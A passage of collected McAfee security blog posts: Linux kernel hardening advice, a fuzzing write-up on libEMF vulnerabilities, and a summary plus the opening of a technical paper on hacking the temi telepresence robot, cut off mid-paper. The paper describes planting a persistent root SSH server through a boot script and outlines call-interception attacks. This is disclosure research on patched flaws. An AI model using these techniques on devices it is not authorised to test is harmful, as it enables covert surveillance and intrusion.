Since Linux 3.7, the kernel has supported digital signatures on loadable kernel modules. This facility can be enabled in the kernel with settings in CONFIG_MODULE_SIG. These options can require valid signatures; enable automatic module signing during the kernel build phase; and specify which hash algorithm to use. Additionally, local or remote keys can be used. By requiring valid digital signatures, only known valid modules can be loaded, decreasing your system’s attack surface.

Module loading rules

Only known modules should be loadable. Limited module support can be enabled by default, disallowing kernel module loading and specifying which modules are exempt from the ban. The following command can be used to disable the loading:

sysctl kernel.modules_disabled=1

Some modules required for system operation may normally be loaded during system operation and not at boot.  To ensure these modules are available, they must be loaded at startup prior to when loading is disabled. To load these modules, list them in a file located in /etc/modules-load.d.

Disabling modules completely

Depending on the system in question, disabling all non-necessary hardware in the kernel configuration and building all required driver code directly into the kernel rather than using modules could allow for completely disabling loadable kernel module support. For special use systems, this may be a viable option. By disallowing modules entirely, your system’s attack surface can be drastically reduced.

Fully disabling kernel module support might only be possible for special purpose systems with a known usage pattern. General purpose, user-facing machines will likely need module support to support user access patterns.

Using Linux kernel Lockdown

The lockdown patches have been merged into the kernel since version 5.4. Even if Secure Boot is enabled, if not prevented, the root could still modify the kernel and, for example, apply a hot-patch and create a persistent process.  Lockdown was developed to provide a policy to prevent the root from modifying the kernel code. Lockdown has two modes: “integrity” and “confidentiality”. The community generally advises organizations to consider the “integrity” mode and use “confidentiality” mode for special systems.

Harden sysctl.conf

The sysctl.conf file is the main kernel parameter configuration point for a Linux system. By using secure defaults, the whole system will benefit from a more secure foundation. Example options include disabling IPv6 if not in use, ignoring network broadcast packets, enabling ASLR, and activating DEP/NX. (https://www.cyberciti.biz/faq/linux-kernel-etcsysctl-conf-security-hardening/)

Enable SELinux or AppArmor

Modern Linux systems include the security enhancement systems of AppArmor or SELinux depending on the distribution. These allow for granular access control with security policies. SElinux is installed and enabled by default on CentOS and RedHat Enterprise Linux operating systems, while AppArmor is installed and enabled by default on Ubuntu and SuSE Linux Enterprise systems.

What we often observe is that people will decide to disable these security enhancement systems as soon as they run into an issue since they is easy to disable with root privileges. But taking the time to learn how to allow services and fix issues is very important to provide an additional layer of security on a Linux system.

AppArmor is a Linux kernel security module that provides capabilities similar to SELinux. While SELinux operates on files (specifically inodes) and requires filesystem support, AppArmor works on paths, while being file system agnostic. Considered by many to be easier to use, it is mostly transparent to regular users. While SELinux can be (potentially) more secure, the complexity of the system has many users preferring AppArmor.

Among the mainline Enterprise-level Linux distributions, RedHat embraces SELinux, while SuSE Enterprise embraces (and owns the trademark to) AppArmor. Canonical is a significant contributor to AppArmor as well, and supports it by default in Ubuntu.

Additional Linux System hardening

In light of today’s advisory, we have focused mostly on securing the Linux Kernel in this article. However, there are many best practices to secure Linux (or nearly any modern operating system), including:

  • Removal of unused software
  • Disabling unused services
  • Enabling auditing
  • Controlling API access
  • Limiting root account usage
  • Incorporating a least-privilege policy as much as possible
  • Backing up your system
  • Increasing ASLR entropy via sysctl to make reliable exploitation more difficult, by increasing the number of locations libraries that could be stored in memory.

Detailed hardening and securing guides for Linux distributions can be downloaded from:

https://www.cisecurity.org/cybersecurity-best-practices/

Conclusion

Linux Kernel and System hardening may prove to hold a learning curve for organizations and administrators more familiar with the configuration and use of Windows operating systems. However, given the information provided in the NSA-FBI publication and the adaptation of Linux-based malware by threat actors overall, we advise organizations remain vigilant, harden Linux systems as much as possible, and deploy adequate security products.

For specific McAfee technology protections against Drovorub please visit the dedicated Drovorub KB article here.

 

The post On Drovorub: Linux Kernel Security Best Practices appeared first on McAfee Blogs.

Vulnerability Discovery in Open Source Libraries Part 1: Tools of the Trade

Executive Summary

Open source has become the foundation for modern software development. Vendors use open source software to stay competitive and improve the speed, quality, and cost of the development process. At the same time, it is critical to maintain and audit open source libraries used in products as they can expose a significant volume of risk.

The responsibility of auditing code for potential security risks lies with the organization using it. We have seen one of the highest impact vulnerabilities originate with open source software in the past. The famous Equifax data breach was due to a vulnerability in open source component Apache Struts, widely used in mainstream web frameworks. Furthermore, the 2020 Open Source Security Risk and Analysis report states that out of the applications audited in 2019, 99% of codebases contained open source components and 75% of codebases contained vulnerabilities, with 49% of codebases containing high risk vulnerabilities.

Graphics libraries have a rich history of vulnerabilities and the volume of exploitable issues are especially magnified when the code base is relatively older and has not been recompiled recently. It turns out that graphics libraries on Linux are widely used in many applications but are not sufficiently audited and tested for security issues. This eventually became a driving force for us to test multiple vector graphics and GDI libraries on Linux, one of which was libEMF, a Linux C++ library written for a similar purpose and used in multiple graphics tools that support graphics conversion into other vector formats. We tested this library for several days and found multiple vulnerabilities, ranging from multiple denial-of-service issues, integer overflow, out-of-bounds memory access, use-after-free conditions, and uninitialized memory use.

All the vulnerabilities were locally exploitable. We reported them to the code’s maintainer, leading to two new versions of the library being released in a matter of weeks. This reflects McAfee’s commitment to protecting its customers from upcoming security threats, including defending them against those found in open source software. Through collaboration with McAfee researchers, all issues in this library were fixed in a timely manner.

In this blog we will emphasize why it is critical to audit the third-party code we often use in our products and outline general practices for security researchers to test it for security issues.

Introduction

Fuzzing is an extremely popular technique used by security researchers to discover potential zero-day vulnerabilities in open, as well as closed source software. Accepted as a fundamental process in product testing, it is employed by many organizations to discover vulnerabilities earlier in the product development lifecycle. At the same time, it is substantially overlooked. A well designed fuzzer typically comprises of a set of tools to make the fuzzing process relatively more efficient and fast enough to discover exploitable bugs in a short period, helping developers patch them early.

Several of the fuzzers available today help researchers guide the fuzzing process by measuring code coverage, by using static or dynamic code instrumentation techniques. This eventually results in more efficient and relevant inputs to the target software, exercising more code paths, leading to more vulnerabilities discovered in the target. Modern fuzzing frameworks also come with feedback-driven channels for maximizing the code coverage of the target software, by learning the input format along the way and comparing the code coverage of the input via feedback mechanisms, resulting in more efficient mutated inputs. Some of the state-of-the-art fuzzing frameworks available are American Fuzzy Lop (AFL), LibFuzzer and HongFuzz.

Fuzzers like AFL on Linux come with compiler wrappers (afl-gcc, afl-clang, etc.). With the assembly parsing module afl-as, AFL parses the generated assembly code to add compile-time instrumentation, helping in visualizing the code coverage. Additionally, modern compilers come with sanitizer modules like Address Sanitizers (ASAN), Memory Sanitizers (MSAN), Leak Sanitizers (LSAN), Thread Sanitizers (TSAN), etc., which can further increase the fuzzer’s bug finding abilities. Below highlights the variety of memory corruption bugs that can be discovered by sanitizers when used with fuzzers.

ASAN MSAN UBSAN TSAN LSAN
Use After Free Vulnerabilities Uninitialized Memory Reads Null Pointer Dereferences Race Conditions Run Time Memory Leak Detection
Heap Buffer Overflow   Signed Integer Overflows  
Stack Buffer Overflow Typecast Overflows
Initialization Order Bugs Divide by Zero Errors
Memory Leaks
Out of Bounds Access

 

One of the McAfee Vulnerability Research Team goals is to fuzz multiple open and closed source libraries and report vulnerabilities to the vendors before they are exploited. Over the next few sections of this blog, we aim to highlight the vulnerabilities we discovered and reported while researching one open source library, LibEMF (ECMA-234 Metafile Library).

Using American Fuzzy Lop (AFL)

Much of the technical detail and working of this state-of-the-art feedback-driven fuzzer is available in its documentation. While AFL has many use cases, its most common is to fuzz programs written in C / C++ since they are susceptible to widely exploited memory corruption bugs, and that is where AFL and its mutation strategies are extremely useful. AFL gave rise to several forks like AFLSmart , AFLFast and Python AFL, differing in their mutation strategies and extensions to increase performance. Eventually, AFL was also imported to the Windows platform, WinAFL, using a dynamic instrumentation approach predominantly for closed source binary fuzzing.

The fuzzing process primarily comprises the following tasks:

Fuzzing libEMF (ECMA-234 Metafile Library) with AFL

LibEMF (Enhanced Metafile Library) is an EMF parsing library written in C/C++ and provides a drawing toolkit based on ECMA-234. The purpose of this library is to create vector graphic files. Documentation of this library is available here and is maintained by the developer.

We chose to fuzz this LibEMF with AFL fuzzer because of its compile time instrumentation capabilities and good mutation strategies as mentioned earlier. We have the source code compiled in hardened mode, which will add code hardening options while invoking the downstream compiler, which helps with discovering memory corruption bugs.

Compiling the Source

To use the code instrumentation capabilities of AFL, we must compile the source code with the AFL compiler wrapper afl-gcc/afl-g++ and, with an additional address sanitizer flag enabled, use the following command:

./configure CXX=afl-g++ CFLAGS=”-fsanitize=address -ggdb” CXXFLAGS=”-fsanitize=address -ggdb” LDFLAGS=”-fsanitize=address”

Below is a snapshot of the compilation process showing how the instrumentation is added to the code:

Pwntools python package comes with a good utility script, checksec, that can examine the binary security properties. Executing checksec over the library confirms the code is now ASAN instrumented. This will allow us to discover non-crashing memory access bugs as well:

Test harness is a program that will use the APIs from the library to parse the file given to the program as the command line argument. AFL will use this harness to pass its mutated files as an argument to this program, resulting in several executions per second. While writing the harness, it is extremely important to release the resources before returning to avoid excessive usage which can eventually crash the system. Our harness for parsing EMF files using APIs from the libEMF library is shown here:

AFL will also track the code coverage with every input that it passes to the program and, if the mutations result in new program states, it will add the test case to the queue. We compiled our test harness using the following command:

afl-g++ -o playemffile playemffile.c -g -O2 -D_FORTIFY_SOURCE=0 -fsanitize=address -I /usr/local/include/libEMF/ -L/usr/local/lib/libEMF -lEMF

Collecting Test Cases

While a fuzzer can learn and generate the input format even from an empty seed file, gathering the intial corpus of input files is a significant step in an effective fuzzing process and can save huge amounts of CPU cycles. Depending upon the popularity of the file format, crawling the web and downloading the initial set of input files is one of the most intuitive approaches. In this case, it is not a bad idea to manually construct the input files with a variety of EMF record structures, using vector graphic file generation libraries or Windows GDI APIs. Pyemf is one such available library with Python bindings which can be used to generate EMF files. Below shows example code of generating an EMF file with an EMR_EXTEXTOUTW record using Windows APIs. Constructing these files with the different EMR records will ensure functionally different input files, exercising different record handlers in the code.

Running the Fuzzer

Running the fuzzer is just running the afl-fuzz command with the parameters as shown below. We would need to provide the input corpus of EMF files ( -i EMFs/ ) , output directory ( -o output/ ) and the path to the harness binary with @@, meaning the fuzzer will pass the file as an argument to the binary. We also need to use -m none since the ASAN instrumented binary needs a huge amount of memory.

afl-fuzz -m none -i EMFs/ -o output/ — /home/targets/libemf-1.0.11/tests/playemffile @@

However, we can make multiple tweaks to the running AFL instance to increase the number of executions per second. AFL provides a persistent mode which is in-memory fuzzing. This avoids forking a new process on every run, resulting in increased speed. We can also run multiple AFL instances, one on every core, to increase the speed. Beyond this, AFL also provides a file size minimization tool that can be used to minimize the test case size. We applied some of these optimization tricks and, as we can see below, there is a dramatic increase in the execution speed reaching ~500 executions per second.

After about 3 days of fuzzing this library, we had more than 200 unique crashes, and when we triaged them we noticed 5 unique crashes. We reported these crashes to the developer of the library along with MITRE, and after being acknowledged, CVE-2020-11863, CVE-2020-11864, CVE-2020-11865, CVE-2020-11866 and CVE-2020-13999 were assigned to these vulnerabilities. Below we discuss our findings for some of these vulnerabilities.

CVE-2020-11865 – Out of Bounds Memory Access While Enumerating the EMF Stock Objects

While triaging one of the crashes produced by the fuzzer, we saw SIGSEGV (memory access violation) for one of the EMF files given as an input. When the binary is compiled with the debugging symbols enabled, ASAN uses LLVM Symbolizer to produce the symbolized stack traces. As shown below, ASAN outputs the stack trace which helps in digging into this crash further.

Looking at the crash point in the disassembly clearly indicates the out of bounds memory access in GLOBALOBJECTS::find function.

Further analyzing this crash, it turned out that the vulnerability was in accessing of the global object vector which had pointers to stock objects. Stock objects are primarily logical graphics objects that can be used in graphics operations. Each of the stock objects used to perform graphical operations have their higher order bit set, as shown below from the MS documentation. During the metafile processing, the index of the relevant stock object can be determined by masking the higher order bit and then using that index to access the pointer to the stock object. Metafile processing code tries to retrieve the pointer from the global object vector by attempting to access the index after masking the higher order bit, as seen just above the crash point instruction, but does not check the size of the global object vector before accessing the index, leading to out of bounds vector access while processing a crafted EMF file.

Shown below is the vulnerable and fixed code where the vector size check was added:

CVE-2020-13999 – Signed Integer Overflow While Processing EMR_SCALEVIEWPORTEX Record

Another crash in the code that we triaged turned out to be a signed integer overflow condition while processing an EMR_SCALEVIEWPORTEXT record in the metafile. This record specifies the viewport in the current device context and is calculated by computing ratios. An EMR_SCALEVIEWPORTEXTEX record looks like this, as per the record specification. A new viewport is calculated as shown below:

As part of AFL’s binary mutation strategy, it applies a deterministic approach where certain hardcoded sets of integers replace the existing data. Some of these are MAX_INT, MAX_INT-1, MIN_INT, etc., which increases the likelihood of triggering edge conditions while the application processes binary data. One such mutation done by AFL in the EMF record structure is shown below:

This resulted in the following crash while performing the division operation.

Below we see how this condition, eventually leading to a denial-of-service, was fixed by adding division overflow checks in the code:

CVE-2020-11864 – Memory Leaks While Processing Multiple Metafile Records

Leak Sanitizer (LSAN) is yet another important tool which is integrated with the ASAN and can be used to detect runtime memory leaks. LSAN can also be used in standalone mode without ASAN. While triaging generated crashes, we noticed several memory leaks while processing multiple EMF record structures. One of them is as shown below while processing the EXTTEXTOUTA metafile record, which was later fixed in the code by releasing the memory buffer when there are exceptions reading the corrupted metafiles.

Apparently, memory leaks can lead to excessive resource usage in the system when the memory is not freed after it is no longer needed. This eventually leads to the denial-of-service. We found memory leak issues while libEMF processed several such metafile records. The same nature of fix, releasing the memory buffer, was applied to all the vulnerable processing code:

Additionally, we also reported multiple use-after-free conditions and denial-of-service issues which were eventually fixed in the newer version of the library released here.

Conclusion

Fuzzing is an important process and fundamental to testing the quality of a software product. The process becomes critical, especially when using third-party libraries in a product which may come with exploitable vulnerabilities. Auditing them for security issues is crucial. We believe the vulnerabilities that we reported are just the tip of the iceberg. There are several legacy libraries which likely require a thorough audit. Our research continues with several other similar Windows and Linux libraries and we will continue to report vulnerabilities through our coordinated disclosure process. We believe this also highlights that it is critical to maintain a good level of collaboration between vulnerability researchers and the open source community to have these issues reported and fixed in a timely fashion. Additionally, modern compilers come with multiple code instrumentation tools which can help detect a variety of memory corruption bugs when used early in the development cycle. Using these tools is recommended when auditing code for security vulnerabilities.

The post Vulnerability Discovery in Open Source Libraries Part 1: Tools of the Trade appeared first on McAfee Blogs.

Robot Character Analysis Reveals Trust Issues

Retired Marine fighter pilot and Top Gun instructor Dave Berke said “Every single thing you do in your life, every decision you make, is an OODA Loop.” OODA Loop? Observe–Orient–Decide–Act, the “OODA Loop” was originally developed by United States Air Force Colonel John Boyd and outlines that fundamentally all actions are first based on observations.  If you can’t first observe you are at a serious disadvantage. This can be applied at every scale from planning a large-scale military invasion, to changing lanes on a highway or even down to the split-second decision of picking up a glass of water off a table. But it all starts with observation.

If observation or information about what’s around us is so important, then it’s no surprise that tools and devices that can provide us information not only increase our success but also make us feel more comfortable. The personal robot called temi, is such a device. With 1,000 new devices being created a month, temi can help us see a loved one in the hospital through teleconferencing, escort us to the ballroom in the hotel we are staying at or help a doctor virtually visit with a patient. In fact, across Israel, temi was recently selected as the de facto robotics platform for hospital telepresence. Temi can allow us to observe and interact remotely; all while influencing what we decide to do next with the information we have learned.

But what are the risks associated with tools that help provide greater information into our OODA Loop? How could someone with malicious intent use tools like temi to improve their OODA Loop, furthering their ability to cause harm? Could someone control temi without the owner’s permission? What if someone could turn on the camera and microphone and see the robot’s surroundings while listening to your medical diagnosis or treatment plan? What if someone could “check in on your kids” and map out your house without your permission? These are the type of questions that McAfee Advanced Threat Research (ATR) aims to answer when we see a product like temi. We look at technologies and the wealth of information they provide through the lens of an attacker; with the goal of making your experience a safer one. So, it is no surprise that our team decided to take a deeper look into temi when it was first released.

On day one, like a kid during Christmas, we unboxed our shiny new temi with a sense of joy and excitement. Like your average user, we set it up following the included directions, had it follow us around dressed up as a ghost for Halloween, marked key locations, made video calls and were amazed at just how cool this robot was! Maybe a little less like your average user, we also captured all the network traffic while temi showed off and did a firmware update. We also looked at what open network ports temi exposed, decompiled the Android application, activated android debugger (adb) and installed a ssh server, just to be safe.  Basically, we treated temi like your child’s first date in high school – we did a background check and used proper intimidation techniques before we allowed temi to go on a date.

Over the next several months, we really dug into what we learned from our “first date” with temi. What we discovered, not unlike some of my first high school dates, is temi had some trust issues. This is not a good report card considering some of temi’s primary functions. For the ability to make video calls and to remotely control temi securely, it’s important to keep information used to connect to a call secret and secured. Since temi had some flaws doing so, the team turned its attention to the question of whether these “character flaws” could be exploited.

It turned out with only a few modifications to the original temi Android application, we could intercept phone calls intended for another user. With a few more modifications, temi began to trust us (the attacker) to navigate it around and activate the camera and microphone. Additionally, we discovered the only knowledge an attacker would need to know about the victim is their phone number. Yes, the same number you can’t figure out how tele-markers got ahold of was the information a malicious actor would need to access your temi completely remotely without your knowledge or consent.

For an attacker, temi’s security flaws allows them to feed vital information into their OODA Loop. Consider a hospital that keeps a very tight and well-run information security program. From the outside they are almost impossible to steal information from. The vulnerabilities discovered in temi now provide them a way to gather information about the internal operations of the business without needing to crack the well implemented business network or physical security. With the phone number of anyone who has called a temi recently, an attacker could observe what room number and condition a hospitalized member of congress is in. Temi could watch the security guard type in the building alarm code. Temi could observe the dog pictures on the nurse’s desk labeled with its cute name and birthday, that just happens to also be part of their password. This information can be invaluable to an attacker’s OODA loop and the potentially malicious decisions they make. Temi was a challenging target to compromise, but the nature of the flaws discovered highlight the importance of this research and the value of vendors to provide fast and effective mitigations, as was the case here.

For those who enjoy punishing themselves with an excessive amount of technical detail of these vulnerabilities, we have a special treat for you in our highly technical paper on this research here. This dives into the vulnerability discovery and exploitation process from start to finish in intricate detail.

In keeping with our responsible disclosure program, we reached out to temi as soon as we confirmed that the vulnerabilities we discovered were exploitable. Temi was very receptive, grateful, and had a strong desire to improve the security of temi. Over the next several weeks, we worked closely with their team to develop a more robust solution for temi. For each vulnerability, we provided temi with two mitigations strategies; a band aid and a cure. It is common for vendors to only implement the band aid or quick fix solution. To their credit, temi took on the challenge of implementing the more effective solution or the cure for all findings. Once in place, we were able to test and confirm that all the vulnerabilities reported were effectively mitigated. It is always exciting to see the positive impact security research can have when responsible disclosure is valued by vendor and researchers alike. The following demo video is a light-hearted way to show the true possible impact of the remote accessibility component of this research, had these been found by adversaries instead of responsibly disclosed by McAfee ATR and fixed by temi.

So, what is the larger lesson here? I would venture to guess that I wouldn’t be the first to conclude that Colonel John Boyd was a smart man and his theory of the OODA Loop is not only effective but also strengthens a process – in this case, vulnerability mitigation. For our research, this applies directly to a personal robot assistant which is currently being used worldwide, across a wide range of industries, and currently producing nearly 1,000 new units a month. McAfee’s ATR team observed a new impactful technology emerging into the market. Due to our previous experiences and technical expertise we were well oriented in a position where we decided to take further action and investigate. Temi observed the value in collaboration, oriented themselves in a position where they could decide to take action in making a tool used for observation a more secure product.

The post Robot Character Analysis Reveals Trust Issues appeared first on McAfee Blogs.

Call an Exorcist! My Robot’s Possessed!

Overview

As part of our continued goal of helping developers provide safer products for businesses and consumers, we here at McAfee Advanced Threat Research (ATR) recently investigated temi, a teleconference robot produced by Robotemi Global Ltd. Our research led us to discover four separate vulnerabilities in the temi robot, which this paper will describe in great detail. These include:

  1. CVE-2020-16170 – Use of Hard-Coded Credentials
  2. CVE-2020-16168 – Origin Validation Error
  3. CVE-2020-16167 – Missing Authentication for Critical Function
  4. CVE-2020-16169 – Authentication Bypass Using an Alternate Path of Channel

Together, these vulnerabilities could be used by a malicious actor to spy on temi’s video calls, intercept calls intended for another user, and even remotely operate temi – all with zero authentication.

Per McAfee’s vulnerability disclosure policy, we reported our findings to Robotemi Global Ltd. on March 5, 2020. Shortly thereafter, they responded and began an ongoing dialogue with ATR while they worked to adopt the mitigations we outlined in our disclosure report. As of July 15, 2020, these vulnerabilities have been successfully patched – mitigated in version 120 of the temi’s Robox OS and all versions after 1.3.7931 of the temi Android app. We commend Robotemi for their prompt response and willingness to collaborate throughout this process. We’d go so far as to say this has been one of the most responsive, proactive, and efficient vendors McAfee has had the pleasure of working with.

This paper is intended as a long-form technical analysis of the vulnerability discovery process, the exploits made possible by the vulns, and the potential impact such exploits may have. Those interested in a higher-level, less technical overview of these findings should refer to our summary blog post here.

Contents

Overview
Contents
What is temi
Normal Operation of temi
Initial Recon
Port Scanning
Capturing Traffic
Getting a Shell
Finding temi’s Code
Reversing the Code for Video Calls
Brute-Forcing the Channel Name as an Attack Vector
Exploring MQTT Attack Vectors
Overview
Modifying the temi Phone App
The Relationship Between Robot IDs and MQTT Topics
How are MQTT Call Invite Messages Published?
Intercepting Calls
Problem: temi Won’t Answer My Calls
Solution: Become an OWNER
Adding an OWNER: Phone App’s Perspective
Adding an OWNER: temi’s Perspective
Detour: Sneaking Onto temi’s Contact List
Gaining OWNER Privileges
Refining the Exploits
Impact
Conclusion

What is temi?

Robots.

The final frontier.

For an Android tablet ‘brain’ sitting atop a 4-foot-tall robot, temi packs a lot of sensors into a small form factor. These include 360° LIDAR, three different cameras, five proximity sensors, and even an Inertial Measurement Unit  (IMU) sensor, which is a sort of accelerometer + gyroscope + magnetometer all-in-one. All these work together to give temi something close to the ability to move autonomously through a space while avoiding any obstacles. If it weren’t for the nefarious forces of stairs and curbs, temi would be unstoppable.

Robotemi markets its robot as being used primarily for teleconferencing. Articles linked from the temi website describe the robot’s applications in various industries: Connected Living recently partnered with temi for use in elder care, the Kellog’s café in NYC adopted temi to “enhance the retail experience”, and corporate staffing company Collabera uses temi to “improve cross-office communication.” Despite its slogan of “personal robot”, it appears that temi is designed for both consumer and enterprise applications, and it’s the latter that really got us at McAfee Advanced Threat Research interested in it as a research target. Its growing presence in the medical space, which temi’s creators have accommodated by stepping up production to 1,000 units a month, is especially interesting given the greatly increased demand for remote doctor’s visits. What would a compromised temi mean for its users, whether it be the mother out on business, or the patient being diagnosed via robotic proxy? We placed our preorder and set out to find out.

Normal Operation of temi

Once it finally arrived, we got to setting it up the way any user might: we unboxed it, plugged in its charging dock, and connected it to WiFi. Normal operation of the temi robot is done through the use of its smart phone app, and at first startup temi prompted us to scan a QR code with the app. The phone used to scan the QR code becomes temi’s “admin”, allowing you to control the robot remotely by simply calling it. Temi can have many contacts outside of its singular admin, and becoming a contact is fairly straightforward. Whenever you launch the temi phone app, it scans your phone’s contacts and automatically adds any numbers that have been registered with the temi app to the app’s contact list. If any of those contacts happens to be a temi admin, you can call their temi simply by clicking that contact, as shown in Figure 1.

Figure 1: Selecting a contact from the temi phone app

In this way, users of the phone app besides temi’s admin can still call a temi robot using this method. Since initiating a call with a temi allows you to remotely operate it in addition to seeing through its camera and hearing through its microphone, giving anyone the ability to call your temi could prove… problematic. Temi’s creators address this exact issue on their FAQ page, as shown in Figure 2.

Figure 2: “Can anyone connect to my temi?”, from the temi’s FAQ page

The first line here is a bit misleading, since adding a temi’s admin as a phone contact seems to be sufficient to call that temi – the admin does not need to also have you added as a phone contact for this to work. That being said, this doesn’t mean that just anyone can start controlling your temi; “physical permission on the robot side” is required for calls made by users that aren’t temi’s admin or explicitly authorized by said admin. In practice, this corresponds to a call notification on the temi’s screen that the user can either answer or decline. In other words, it’s no more or less “secure” than receiving cold calls on your cell phone.

As for the last line, which refers to an admin’s ability to grant certain users the option to “hop in” to the robot, this is also done through the phone app by simply selecting the “Invite New Member” option from the temi’s contact entry in the app, and then selecting one or more users from the app’s contact list to “invite”, as shown in Figure 3.

Figure 3: How to grant users special permissions from the phone app

Once a call has been established between the robot and a phone user, which either party may initiate, the phone user can do things like manually drive the robot around, add, remove, and navigate to saved locations, patrol between saved locations, control its volume, and more.

Figure 4: Driving the temi using the phone app

Due to the level of control afforded to temi’s callers, the calling functionality quickly became a priority during our investigation of the temi robot.

Initial Recon

Port Scanning

While a robot was certainly a bit different from our typical targets, we began our reconnaissance with methods that have stood the test of time: port scans, packet captures, and a local shell.

Figure 5: Running Nmap on the temi

An Nmap scan revealed only one open port: TCP port 4443. Immediately we knew that Nmap’s classification of this port being used for Pharos, a “secure office printing solution for your business”, was almost certainly wrong. Instead, it was likely that this port was being used for TLS communication as an alternative to the standard 443. While good to know, this didn’t tell us much about the type of traffic temi expected on this port, or even what service(s) was handling that traffic, so we moved on.

Capturing Traffic

Next on our checklist was to obtain some captures of the robot’s network traffic, focusing on traffic generated during boot, during an update, and during a video call.

Traffic captured when temi was booting up but otherwise idling showed three unique external IP addresses being accessed: 98.137.246.7, 54.85.186.18, and 34.206.180.208.

Running nslookup on these IPs revealed that the first pointed to some Yahoo! media server, likely used for its news app, while the other two appeared to be AWS instances.

Figure 6: Running nslookup on IPs accessed by temi

As for the data being sent/received, there wasn’t much to look at. The Yahoo! address was being accessed via HTTP (port 80), but the TCP packets had no payload. As for the AWS addresses, these were being accessed via TLS (port 443) and the data was encrypted.

For updates, temi accessed “temi-ota-updates.s3-accelerate.amazonaws.com”, which was almost certainly a custom AWS instance set up by the folks at Robotemi. As with the other traffic to AWS, the updates were being encrypted.

Getting a Shell

In order to prod deeper, we needed a local shell on our temi. Fortunately, wireless connections via Android Debug Bridge, or ADB, could be enabled through temi’s settings from its touchscreen. Better still, the shell provided through ADB had root privileges, although the device itself was not “rooted”. This was likely done to help facilitate “temi Developers”, since the temi website has an entire portal dedicated to helping users develop custom apps for their robot.

Unfortunately, the default shell granted via ADB was fairly stripped down, and each reboot would mean having to manually reopen temi’s ADB port from its touchscreen before being able to connect to it again. Furthermore, this method required the temi software to be running in order to access our shell, which would leave us without recourse if our prodding somehow bricked that software. This was far from ideal.

While commands like adb push made moving custom ARM binaries for bash, busybox, and ssh onto temi fairly trivial, getting anything to run on boot proved more challenging. For starters, temi did not have the standard /etc/init.d/ directory. Additionally, the primary scripts that would run on boot, like /init.rc, would be loaded directly from the boot image, meaning any edits made to them would not persist across reboots. This was likely by design as part of Android’s SELinux security model – we would have to be a little more creative if we wanted to convince temi to start an SSH server on boot.

Digging through the contents of /init.rc, however, gave us a clue:

Figure 7: Interesting entry in /init.rc

For those unfamiliar with Android’s Init language,

“The init language is used in plain text files that take the .rc file extension. There are typically multiple of these in multiple locations on the system, described below.
/init.rc is the primary .rc file and is loaded by the init executable at the beginning of its execution. It is responsible for the initial set up of the system.” – Android docs.

The entry shown in Figure 7, one of the hundreds contained in temi’s init.rc, tells the system to launch the service “flash_recovery” during boot with the argument “/system/bin/install-recovery.sh”. The “class main” is just a label used to group entries together, and “oneshot” just means “do not restart the service when it exits.” This entry stood out to us because it was invoking a script located in /system/bin/, which was not loaded from the boot image, meaning any changes should stick. While the /system partition is read-only by default, our root privileges made it trivial to temporarily remount /system as read-write in order to add the following line to the end: “/system/bin/sshd”. With that, we had a reliable means of getting a root shell on our temi to explore further.

Finding temi’s Code

The first thing we did with our newfound freedom was run netstat:

Figure 8: Running netstat

It appeared that most networking, including the open port 4443 we found using Nmap earlier, was being handled by “com.roboteam.teamy.usa”. Based on the name alone, this was likely the main temi software running on the robot. Additionally, the name looked more like the name of an Android package than a native binary. We confirmed this by running:

Figure 9: Trying to find the binary for com.roboteam.teamy.usa in /proc

app_process32 (or app_process64, depending on architecture), is the binary used by Android for running Android apps, meaning we were looking for an APK, not an ELF. Under this assumption, we instead tried to find the code for this process using Android’s pm command:

Figure 10: Looking for the APK for “com.roboteam.teamy.usa”

Sure enough, we had our APK.

Typically, every installed app on Android has a corresponding data directory, and we were able to find the one for this package under /data/data/com.roboteam.teamy.usa:

Figure 11: data directory for “com.roboteam.teamy.usa”

The lib/ directory contained native code used by the package:

Figure 12: native code used by “com.roboteam.teamy.usa”

After looking into several of these libraries, libagora-rtc-sdk-jni.so in particular stood out to us since it was part of Agora, a platform that provides SDKs for voice, video, and Real-Time-Messaging (RTM) services. It was likely that temi was using Agora to implement its video calling functionality – the functionality we were most interested in.

By looking at this binary’s strings, we were also able to determine that temi was using version 2.3.1 of the Agora Video SDK:

Figure 13: Finding the Agora SDK version using strings

Of course, we were equally interested in the code for the temi phone app, which we obtained through the use of APK Extractor and ADB. We were also curious to see if the Android phone app used the same version of the Agora SDK, which we checked by comparing their MD5 hashes:

Figure 14: Comparing MD5 hashes for libagora between temi robot and temi phone app

Sure enough, they were the identical.

Reversing the Code for Video Calls

The next step was to begin reversing these apps in order to better understand how they worked. We decided to start by looking at the phone app’s code, since it was easier to test the behavior of the phone app compared to the robot.

In order to decompile and analyze the APK, we used JADX. Although there are many Java decompilers out there that work on Android code, JADX stood out to us due to its various features:

  • It can open APK files directly (will convert .dex to .jar and merge multiple .dex files automatically)
  • It handles modern Java features like nested classes and inline lambda functions better than most other decompilers
  • For any class being viewed, you can click on the “smali” tab to see the smali code
  • It displays line numbers synchronized with the corresponding .line directives in the bytecode, making it easier to map decompiled Java code back to the original bytecode
  • You can right-click on any method, member, or class to see its usage or declaration

The temi Android phone app, like most non-trivial Android apps, was massive. Instead of groping in the dark and hoping to stumble upon some interesting code, we decided to take a more targeted approach. From the outset, we knew that our focus was on temi’s calling functionality since this would provide the greatest impact for any attacker. We also now knew that temi was using the Agora SDK to implement this calling functionality. After looking through Agora’s Java API Reference for Android (v2.3.1), we decided that the function joinChannel() would be a good place to start our investigation:

Figure 15: Agora’s documentation for joinChannel()

By opening libagora-rtc-sdk-jni.so in IDA and looking at its exports, we were able to find a function called nativeJoinChannel() at the offset 0xD4484:

Figure 16: Some of libagora’s exports

Using JADX’s search feature, we found a function with the same name in the decompiled code, located on line 960 in the class RtcEngineImpl:

Figure 17: Native Agora methods in RtcEngineImpl

From here, we began the tedious process of working backwards to trace the call chain for video calls all the way to their entry points. We did this by looking for the method that invoked nativeJoinChannel(), then looking for the method that invoked that method, and so on. The return on investment for our tireless efforts was the following:

 

Figure 18: Code flow diagram for the various ways of making video calls using the temi phone app

At a high level, the code for outgoing calls has four entry-points, and these map 1-to-1 with the four ways of initiating a call from the temi phone app:

  1. Select a contact and hit “Call”. This will call that contact’s phone directly, not their temi. This corresponds to the “Contact Details → Contact Call” code path outlined in the graph (green region).
  2. Select a contact and, if they have a temi robot, hit “Connect”. This will call their temi and corresponds to the “Contact Details → Robot Call” code path outlined in the graph (orange region).
  3. Go to the app’s “Recents” tab and select one of the contacts/robots you have recently called or have called you. This will call that contact or robot and corresponds to the “Recent Calls → Call” code path outlined in the graph (blue region).
  4. If you are an admin, select your temi from beneath the “My temi” heading on the “Contacts” tab and hit the “Connect” button from the following screen, also known as the Robot Details screen. This will call your temi and corresponds to the “Robot Details → Call” code path outlined in the graph (red region).

